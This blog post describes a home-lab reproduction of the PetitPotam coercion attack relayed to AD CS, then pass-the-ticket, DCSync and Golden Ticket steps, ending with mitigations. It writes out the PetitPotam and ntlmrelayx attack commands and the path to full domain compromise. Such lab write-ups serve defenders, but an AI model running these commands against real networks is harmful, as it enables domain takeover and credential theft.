This weekend I decided to experiment with the PetitPotam poc in my lab. The goal was to have a better understanding of not only how the attack worked, but what configuration was required on the target systems in order for it to succeed to help defend against this and similar attacks.
Background
PetitPotam, a PoC which was released by security researcher Gilles Lionel, abuses the Encrypting File System Remote Protocol (MS-EFSRPC) which is designed for performing maintenance and management operations on encrypted data that is stored remotely and accessed over a network. An unauthenticated attacker can leverage the vulnerability to get a target to connect to an attacker controlled server and reveal password hashes. The attack can be chained with an exploit targeting Active Directory Certificate Services (AD CS), by coercing a Domain Controller to send its hashes then relaying them to AD CS Web Enrollment pages to enroll a machine certificate for the DC. This will effectively give the attacker a certificate that can be used to acess domain services as a DC and compromise the entire domain.
Lab Configuration
I spun up a Server 2019 domain controller (DC-2019-01) and kept the default GPOs in place. I set up another server running Server 2016 (CERTSERVER), installed AD CS and joined it to the domain.
PoC and Named Pipes
I cloned the PetitPotam repo, setting my machine as the listener and domain controller as the target and received the “Attack Worked!” message.
python3 ./Petitpotam.py -u '' -p '' -d '' 10.0.3.2 dc-2019-01.lab.local
Note: I was unable to get this to work with the default settings on a WIndows Server 2016 domain controller. According to Microsoft’s documentation, domain controller should allow netlogon, samr, and lsarpc to be accessed anonymously by default which did not seem to be the case on the 2016 box. The settings can also be checked by viewing the NullSessionPipes registry key which was not present. As a sanity check I spun up a Server 2019 Domain Controller and the defaults were configured according to the documentation.
For what it’s worth I had to modify “Network access: Named Pipes that can be accessed anonymously” by adding lsarpc (default pipe used) to allow the script to work against the 2016 DC.
There are a couple Group Policy settings that control access to named pipes.
Network access: Named Pipes that can be accessed anonymously
Network access: Restrict anonymous access to named pipes
Impacket / Generating a CSR and Machine cert
In this scenario ntlmrelayx can be set up to listen for authenticaton requests, relay the hash to AD CS to authenticate, generate a CSR (using the machine cert template by default), and output the signed certificate in base64.
ntlmrelayx.py -t http://certserver.lab.local/certsrv/certfnsh.asp -smb2support --adcs
Note: Initially, the request errored out. This is because the appropriate permissions were not configured on the certificate template to allow a domain controller to enroll.
Rubeus (PTT)
I wanted to see how far I could take this, I had the base64 encoded machine cert and after some research I learned that the cert could be used with Rubeus to request a TGT (Ticket Granting TIcket) and with the ptt (pass-the-ticket) parameter, import the ticket to be used for authentication.
With the TGT imported, A DCSync attack could be done via Mimikatz (lsadump::dcsync). The DCSync attack allows for impersonation of a Domain Controller (leverages MS-DRSR) in order to retrieve password data via domain replication.
There are (at least) two different paths from here. Dump the hashes and crack them offline, or use the krbtgt NTLM Hash to forge an authentication ticket (Golden Ticket). The Golden Ticket approach provides the ability to force more tickets and basically gives the attacker unfettered access so I went this route.
The forged ticket can then be loaded into mimikatz and used with misc::cmd to browse files or open a remote shell on the host. And as you can see, all without having to know any passwords.
Mitigation
The top 3 mitigations listed below prevented this attack from succeeding in my lab. Independent testing/research should be done to confirm if this will work in your environment and not break anything.
-
Follow Microsoft guidance for enabling Extended Protection for Authentication (EPA) KB5005413: Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS)
-
Microsoft also provides guidance for disabling NTLM all together (Under the ‘Additional Mitigation’ in the KB article above). I dont think this is something organizations can do without a considerable amount of work up-front. Ned Pyle has a good write up about how I feel is the correct way to go about this. NTLM Blocking and You: Application Analysis and Auditing Methodologies in Windows 7
-
SMB-Signing: Since this attack relies on MS-EFSRPC (which works over the SMB protocol), enabling SMB-Signing will prevent attacks that involve SMB Relay Overview Server Message Block Signing
-
I haven’t had a chance to test but Microsoft released a patch that blocks the API calls which prevents the attack from succeeding Security Update Guide - Microsoft Security Response Center
References:
Microsoft Rushes Fix for ‘PetitPotam’ Attack PoC Threatpost
MS-EFSR Encrypting File System Remote Protocol
AD CS Relay Attack Practical Guide
Active Directory Certificate Services a big security blindspot
Comments